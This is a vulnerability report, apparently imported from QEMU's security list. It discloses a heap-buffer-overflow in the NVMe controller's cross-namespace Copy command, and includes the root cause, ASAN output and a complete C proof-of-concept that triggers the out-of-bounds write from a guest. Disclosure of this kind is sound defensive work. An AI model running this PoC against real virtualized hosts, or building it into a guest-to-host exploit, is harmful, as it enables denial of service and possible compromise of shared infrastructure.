Imported by the "Security Issuer Importer" bot, on behalf of the original reporter who disclosed via qemu-security list: * From: `Jihe Wang <wangjihe.mail@gmail.com>` * Date: `01 Apr, 2026` * Message ID: `<CAJDR10EDHgbq8avTDg=L0Zy77dvUdtnLz2ykETK2+Er1dSbJ=A@mail.gmail.com>` **NOTE:** the original reporter can not be copied on this issue so cannot view this ticket while it remains marked confidential. If further information is needed about the disclosure, contact the reporter directly. ---- The PoC of this issue is written with the assistance of LLM, but the bug itself is identified by the reporter, and the PoC is also validated. It is confirmed on the QEMU commit `8e711856d7` with AddressSanitizer. Please acknowledge: cnwangjihe Issue summary ------------- I am reporting a heap-buffer-overflow in QEMU's NVMe controller. When the NVMe Copy command (format 2, cross-namespace) copies from a namespace without protection information (PI, `ms=0`) to a namespace with PI (`ms=8, pi=1`) using PRACT=1, the bounce buffer is allocated based on the source namespace's geometry (no metadata space) but the DIF (Data Integrity Field) generation uses the destination namespace's geometry, writing 1024 bytes of PI metadata past the end of a 65536-byte heap allocation. Affected component ------------------ - Component: QEMU NVMe Controller - Primary source files: `hw/nvme/ctrl.c`, `hw/nvme/dif.c` - Bug type: Heap Buffer Overflow (CWE-122) Validated version and environment --------------------------------- - Upstream tag/describe: `v11.0.0-rc0-28-g8e711856d7` - Upstream commit: `8e711856d7639cbffa51405f2cc2366e3d9e3a23` - QEMU target: `x86_64-softmmu` - Host OS/arch: Linux 5.15.0-171-generic, x86_64, 64-bit - Guest architecture: x86_64, 64-bit - Execution mode: KVM (also works with TCG) - Sanitizer status: reproduced with `--enable-asan` QEMU build configuration ------------------------ ```sh CC=clang-15 CXX=clang++-15 ../configure \ --target-list=x86_64-softmmu \ --enable-debug --enable-asan ``` QEMU command line used to invoke the guest VM --------------------------------------------- ```bash qemu-system-x86_64 \ -m 512M -nographic \ -kernel linux-6.19.9/arch/x86/boot/bzImage \ -initrd rootfs-new.cpio \ -append 'rdinit=/init console=ttyS0 oops=panic panic=1 quiet' \ -monitor /dev/null \ -cpu kvm64,+smep,+smap \ -enable-kvm \ -device nvme,serial=deadbeef,id=nvme0 \ -drive if=none,id=d1,driver=null-co,read-zeroes=on \ -drive if=none,id=d2,driver=null-co,read-zeroes=on \ -device nvme-ns,drive=d1,bus=nvme0,nsid=1,ms=0,pi=0 \ -device nvme-ns,drive=d2,bus=nvme0,nsid=2,ms=8,pi=1 ``` Trigger prerequisites and required configuration ------------------------------------------------ NVMe controller with two namespaces: one without PI (`ms=0`) and one with PI (`ms=8, pi=1`). The NVMe Copy command is part of the NVMe specification and multi-namespace configurations are standard. Root cause ---------- The NVMe specification allows a controller with multiple namespaces to use different LBA formats per namespace. In particular, one namespace may have no metadata (`ms=0, pi=0`) while another carries 8-byte protection information (`ms=8, pi=1`). The NVMe Copy command format 2 permits cross-namespace copies between such namespaces, and the spec defines a "corresponding PI match" rule: when the source has `ms=0` and the destination has `ms=8` with CRC16 guard, the controller should generate the DIF metadata on behalf of the host (PRACT=1). QEMU implements this flow in `nvme_do_copy()` and its completion callbacks. When a cross-namespace copy is initiated, `nvme_do_copy()` first allocates a bounce buffer to hold the data read from the source namespace: ```c /* ctrl.c:3304 */ iocb->bounce = g_malloc_n(le16_to_cpu(sns->id_ns.mssrl), sns->lbasz + sns->lbaf.ms); ``` Because the source namespace (`sns`) has `ms=0`, this allocation reserves space only for the raw data blocks. For a source namespace with 512-byte blocks and `mssrl=128`, the buffer is exactly `128 × 512 = 65,536` bytes. After the data is read from the source namespace into the bounce buffer, `nvme_copy_in_completed_cb()` runs. This callback checks whether the destination namespace has protection information enabled, and if so, computes a pointer for the metadata region and generates the DIF tuples: ```c /* ctrl.c:3035-3042 */ mlen = nvme_m2b(dns, nlb); mbounce = iocb->bounce + nvme_l2b(dns, nlb); nvme_dif_pract_generate_dif(dns, iocb->bounce, len, mbounce, mlen, apptag, &iocb->reftag); ``` Here lies the bug. The `mbounce` pointer is computed using the destination namespace's block size (`nvme_l2b(dns, nlb)` = `128 × 512 = 65,536`), which places it exactly at the end of the 65,536-byte bounce buffer. The function then writes `mlen` = `nvme_m2b(dns, nlb)` = `8 × 128 = 1,024` bytes of DIF data (CRC16 guard tags, application tags, and reference tags) starting at that out-of-bounds pointer. The fundamental problem is a mismatch between the buffer's allocation context and its consumption context. The allocation uses the source namespace's geometry (`sns->lbasz + sns->lbaf.ms`), but the DIF generation uses the destination namespace's geometry (`dns->lbasz + dns->lbaf.ms`). When `sns->lbaf.ms = 0` and `dns->lbaf.ms = 8`, no space is reserved for the metadata that the DIF generation step writes. The same out-of-bounds access recurs in `nvme_copy_out_cb()`, which constructs an I/O vector for writing the generated metadata to the destination namespace's metadata area: ```c /* ctrl.c:2963-2965 */ mbounce = iocb->bounce + nvme_l2b(dns, nlb); qemu_iovec_add(&iocb->iov, mbounce, mlen); iocb->aiocb = blk_aio_pwritev(dns->blkconf.blk, ...); ``` This reads the same out-of-bounds region and writes it to disk. QEMU does have a validation function, `nvme_copy_corresp_pi_match()`, that recognizes the `ms=0` -> `ms=8` pattern. However, this function only validates that the metadata sizes are compatible for PI generation - it does not ensure that the bounce buffer is large enough to hold the generated metadata. The buffer allocation is unconditionally tied to the source namespace geometry, regardless of what the destination namespace requires. Memory layout and overflow details ----------------------------------- ``` Offset Content -------- ------- 0 Source data (128 × 512 = 65536 bytes) 65536 <- END of allocation 65536 DIF tuples (128 × 8 = 1024 bytes) — OVERFLOW! 66560 <- End of DIF write ``` Total overflow: 1024 bytes past a 65536-byte heap allocation. The overflowed data contains computed CRC16 checksums over the source data blocks and attacker-controlled application tag values from the Copy command descriptor, as well as reference tag values. PoC attack chain ----------------- ### Step 1: Set Features - Host Behavior Support The guest issues an NVMe admin Set Features command (Feature ID 0x16, Host Behavior Support) to enable Copy Descriptor Format 2 (cross- namespace copy). Specifically, it sets `cdfe` byte offset 4 bit 2. ### Step 2: Copy command format 2 The guest issues a Copy command on the destination namespace (nsid=2) with: - Format = 2 (cross-namespace) - PRACT = 1 (device generates PI) - Source range: nsid=1 (no PI), slba=0, nlb=127 (128 blocks, 0-based) ### Step 3: Heap overflow The NVMe controller reads data from namespace 1 into the bounce buffer, then calls `nvme_dif_pract_generate_dif()` which writes 128 PI tuples (1024 bytes) past the end of the buffer. ASAN output ----------- ```log ==673522==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000038800 at pc 0x55f200e40cd3 bp 0x7ffdabc0edc0 sp 0x7ffdabc0edb8 WRITE of size 2 at 0x631000038800 thread T0 #0 0x55f200e40cd2 in nvme_dif_pract_generate_dif_crc16 hw/nvme/dif.c:87:24 #1 0x55f200e409a8 in nvme_dif_pract_generate_dif hw/nvme/dif.c:143:16 #2 0x55f200e197a2 in nvme_copy_in_completed_cb hw/nvme/ctrl.c:3042:13 #3 0x55f200e17e52 in nvme_copy_in_cb hw/nvme/ctrl.c:3112:5 #4 0x55f201bdf75c in blk_aio_complete block/block-backend.c:1566:9 #5 0x55f201bd6a6f in blk_aio_complete_bh block/block-backend.c:1576:5 #6 0x55f2020b4f1f in aio_bh_call util/async.c:173:5 #7 0x55f2020b56ba in aio_bh_poll util/async.c:220:13 #8 0x55f2020586b5 in aio_dispatch util/aio-posix.c:390:5 #9 0x55f2020b95a8 in aio_ctx_dispatch util/async.c:365:5 #10 0x7f2f9ae8ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926) #11 0x55f2020bbba9 in glib_pollfds_poll util/main-loop.c:290:9 #12 0x55f2020baa4f in os_host_main_loop_wait util/main-loop.c:313:5 #13 0x55f2020ba6d6 in main_loop_wait util/main-loop.c:592:11 #14 0x55f201340487 in qemu_main_loop system/runstate.c:945:9 #15 0x55f201e73336 in qemu_default_main system/main.c:50:14 #16 0x55f201e7326e in main system/main.c:93:9 #17 0x7f2f99961d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #18 0x7f2f99961e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #19 0x55f200642f24 in _start (qemu-system-x86_64+0x95ff24) (BuildId: 4c576bd0f2fe72ff16fe736fb10822f0b507) 0x631000038800 is located 0 bytes to the right of 65536-byte region [0x631000028800,0x631000038800) allocated by thread T0 here: #0 0x55f2006c894e in malloc (qemu-system-x86_64+0x9e594e) (BuildId: 4c576bd0f2fe72ff16fe736fb10822f0b507d) #1 0x7f2f9ae93738 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5e738) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926) #2 0x55f200e07780 in nvme_copy hw/nvme/ctrl.c:3404:5 #3 0x55f200e04b89 in __nvme_io_cmd_nvm hw/nvme/ctrl.c:4625:16 #4 0x55f200e03bde in nvme_io_cmd_nvm hw/nvme/ctrl.c:4642:12 #5 0x55f200e023cc in nvme_io_cmd hw/nvme/ctrl.c:4717:16 #6 0x55f200e009f8 in nvme_process_sq hw/nvme/ctrl.c:7836:29 #7 0x55f2020b4f1f in aio_bh_call util/async.c:173:5 #8 0x55f2020b56ba in aio_bh_poll util/async.c:220:13 #9 0x55f2020586b5 in aio_dispatch util/aio-posix.c:390:5 #10 0x55f2020b95a8 in aio_ctx_dispatch util/async.c:365:5 #11 0x7f2f9ae8ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926) ``` Impact ------ The DIF generation writes 1024 bytes of computed CRC16 checksums and partially attacker-controlled tag values past the 65536-byte bounce buffer. With different `mssrl` configurations, the overflow can be larger. Depending on the allocator state and the surrounding heap layout, this memory corruption may have a security impact beyond denial of service, including corruption of adjacent QEMU heap objects, and could potentially lead to further exploitation. Reproducer ---------- ```c /* * PoC: NVMe Copy Command Cross-Namespace Heap-Buffer-Overflow * * Bug: When the NVMe copy command (format 2, cross-namespace) copies from * a namespace without protection information (PI) to a namespace with PI * (PRACT=1), the bounce buffer is allocated based on the source namespace's * geometry (lbasz + ms), but the DIF metadata is generated using the * destination namespace's geometry. Since the source has ms=0, no space is * reserved for metadata in the bounce buffer, causing a heap-buffer-overflow * when nvme_dif_pract_generate_dif() writes PI tuples past the buffer end. * * Overflow size: dns->lbaf.ms * nlb bytes (e.g., 8 * 128 = 1024 bytes) * * QEMU command line: * qemu-system-x86_64 -m 512M -nographic \ * -kernel linux-6.19.9/arch/x86/boot/bzImage \ * -initrd rootfs-new.cpio \ * -append 'rdinit=/init console=ttyS0 oops=panic panic=1 quiet' \ * -monitor /dev/null -cpu kvm64,+smep,+smap -enable-kvm \ * -device nvme,serial=deadbeef,id=nvme0 \ * -drive if=none,id=d1,driver=null-co,read-zeroes=on \ * -drive if=none,id=d2,driver=null-co,read-zeroes=on \ * -device nvme-ns,drive=d1,bus=nvme0,nsid=1,ms=0,pi=0 \ * -device nvme-ns,drive=d2,bus=nvme0,nsid=2,ms=8,pi=1 * * Build: musl-gcc -static -O2 -o poc_nvme_copy_oob poc_nvme_copy_oob.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdint.h> #include <errno.h> /* NVMe passthrough command (from linux/nvme_ioctl.h) */ struct nvme_passthru_cmd { uint8_t opcode; uint8_t flags; uint16_t rsvd1; uint32_t nsid; uint32_t cdw2; uint32_t cdw3; uint64_t metadata; uint64_t addr; uint32_t metadata_len; uint32_t data_len; uint32_t cdw10; uint32_t cdw11; uint32_t cdw12; uint32_t cdw13; uint32_t cdw14; uint32_t cdw15; uint32_t timeout_ms; uint32_t result; }; #define NVME_IOCTL_ID _IO('N', 0x40) #define NVME_IOCTL_ADMIN_CMD _IOWR('N', 0x41, struct nvme_passthru_cmd) #define NVME_IOCTL_IO_CMD _IOWR('N', 0x43, struct nvme_passthru_cmd) /* NVMe opcodes */ #define NVME_ADMIN_SET_FEATURES 0x09 #define NVME_CMD_COPY 0x19 /* Feature IDs */ #define NVME_FID_HOST_BEHAVIOR 0x16 /* PRINFO bits (4-bit field) */ #define NVME_PRINFO_PRACT 0x8 /* * NvmeHostBehaviorSupport structure (512 bytes) * Must match QEMU's definition exactly. */ struct nvme_hbs { uint8_t acre; uint8_t etdas; uint8_t lbafee; uint8_t rsvd3; uint16_t cdfe; /* Copy Descriptor Format Enable */ uint8_t rsvd6[506]; } __attribute__((packed)); /* * NvmeCopySourceRangeFormat0_2 (32 bytes) * Used for copy formats 0 and 2. * For format 2, sparams contains the source NSID. */ struct nvme_copy_range_f2 { uint32_t sparams; /* source NSID (format 2) */ uint8_t rsvd4[4]; uint64_t slba; /* source starting LBA */ uint16_t nlb; /* number of logical blocks (0-based) */ uint8_t rsvd18[4]; uint16_t sopt; uint32_t reftag; uint16_t apptag; uint16_t appmask; } __attribute__((packed)); static int get_nsid(int fd) { return ioctl(fd, NVME_IOCTL_ID); } int main(void) { int fd_ctrl, fd_dst, ret; int fd_n1, fd_n2, nsid_n1, nsid_n2; int dst_nsid, src_nsid; struct nvme_passthru_cmd cmd; printf("[*] NVMe Copy Cross-NS DIF Heap-Buffer-Overflow PoC\n"); printf("[*] Bug: bounce buffer sized for src ns (ms=0) but DIF\n"); printf("[*] generated using dst ns (ms=8) -> OOB write\n\n"); /* Open NVMe controller character device */ fd_ctrl = open("/dev/nvme0", O_RDWR); if (fd_ctrl < 0) { perror("[-] open /dev/nvme0"); return 1; } printf("[+] Opened /dev/nvme0 (controller)\n"); /* Discover namespace IDs */ fd_n1 = open("/dev/nvme0n1", O_RDWR); fd_n2 = open("/dev/nvme0n2", O_RDWR); if (fd_n1 < 0 || fd_n2 < 0) { printf("[-] Cannot open namespace devices\n"); if (fd_n1 >= 0) close(fd_n1); if (fd_n2 >= 0) close(fd_n2); close(fd_ctrl); return 1; } nsid_n1 = get_nsid(fd_n1); nsid_n2 = get_nsid(fd_n2); printf("[+] /dev/nvme0n1 nsid=%d, /dev/nvme0n2 nsid=%d\n", nsid_n1, nsid_n2); /* * We need destination = nsid with PI (ms=8, pi=1) = QEMU nsid 2 * and source = nsid without PI (ms=0) = QEMU nsid 1. * The QEMU config has nsid=2 with PI. Find which device has it. */ if (nsid_n1 == 2) { fd_dst = fd_n1; dst_nsid = nsid_n1; src_nsid = nsid_n2; close(fd_n2); } else if (nsid_n2 == 2) { fd_dst = fd_n2; dst_nsid = nsid_n2; src_nsid = nsid_n1; close(fd_n1); } else { printf("[-] Cannot find nsid=2 (PI namespace)\n"); close(fd_n1); close(fd_n2); close(fd_ctrl); return 1; } printf("[+] Destination ns (PI): nsid=%d, Source ns (no PI): nsid=%d\n", dst_nsid, src_nsid); /* * Step 1: Set Features - Host Behavior Support * Enable cdfe for copy format 2 (bit 2 = 0x04) */ struct nvme_hbs hbs; memset(&hbs, 0, sizeof(hbs)); hbs.cdfe = 0x04; /* enable copy format 2 */ memset(&cmd, 0, sizeof(cmd)); cmd.opcode = NVME_ADMIN_SET_FEATURES; cmd.cdw10 = NVME_FID_HOST_BEHAVIOR; cmd.addr = (uint64_t)(uintptr_t)&hbs; cmd.data_len = sizeof(hbs); ret = ioctl(fd_ctrl, NVME_IOCTL_ADMIN_CMD, &cmd); printf("[*] Set Features (HBS, cdfe=0x%x): ret=%d\n", hbs.cdfe, ret); if (ret < 0) { printf("[-] Set Features failed: %s\n", strerror(errno)); printf("[-] Continuing anyway...\n"); } /* * Step 2: Submit NVMe Copy command (format 2) * Source: namespace with ms=0, no PI * Dest: namespace with ms=8, PI type 1 * PRACT=1: device generates PI on write * * The bounce buffer is allocated as: * g_malloc_n(mssrl, sns->lbasz + sns->lbaf.ms) * = g_malloc_n(128, 512 + 0) = 65536 bytes * * But DIF generation accesses: * mbounce = bounce + nvme_l2b(dns, nlb) * = bounce + 128*512 = bounce + 65536 * which is past the end of the buffer! * * The DIF generation writes 8 * 128 = 1024 bytes at that * OOB location. */ struct nvme_copy_range_f2 range; memset(&range, 0, sizeof(range)); range.sparams = src_nsid; /* source namespace (no PI) */ range.slba = 0; /* source starting LBA */ range.nlb = 127; /* 128 blocks (0-based) */ range.reftag = 0; range.apptag = 0; range.appmask = 0; memset(&cmd, 0, sizeof(cmd)); cmd.opcode = NVME_CMD_COPY; cmd.nsid = dst_nsid; /* destination namespace (PI) */ cmd.addr = (uint64_t)(uintptr_t)&range; cmd.data_len = sizeof(range); /* CDW10-11: sdlba = 0 (starting destination LBA) */ cmd.cdw10 = 0; cmd.cdw11 = 0; /* * CDW12 layout (NvmeCopyCmd): * byte 0 (bits 7:0): nr = 0 (1 range, 0-based) * byte 1 (bits 15:8): control[0] - bits 3:0 = format = 2 * byte 2 (bits 23:16): control[1] - reserved * byte 3 (bits 31:24): control[2] - bits 5:2 = prinfow * prinfow = PRACT(bit3) | PRCHK(bits2:0) = 0x8 * In control[2]: prinfow << 2 = 0x20 */ cmd.cdw12 = 0 | (2 << 8) /* format = 2 in control[0] */ | (0x20 << 24); /* prinfow=0x8 (PRACT=1) in control[2] */ cmd.cdw14 = 0; /* reftag */ cmd.cdw15 = 0; /* apptag | appmask */ printf("[*] Sending Copy cmd: format=2, src_ns=%d, dst_ns=%d, " "nlb=128, PRACT=1\n", src_nsid, dst_nsid); printf("[*] Expected: ASAN heap-buffer-overflow in " "nvme_dif_pract_generate_dif\n"); ret = ioctl(fd_dst, NVME_IOCTL_IO_CMD, &cmd); printf("[*] Copy command result: %d", ret); if (ret < 0) printf(" (errno=%d: %s)", errno, strerror(errno)); printf("\n"); close(fd_dst); close(fd_ctrl); printf("[*] Done. Check QEMU stderr for ASAN report.\n"); return 0; } ``` Please let me know if you would like any additional details.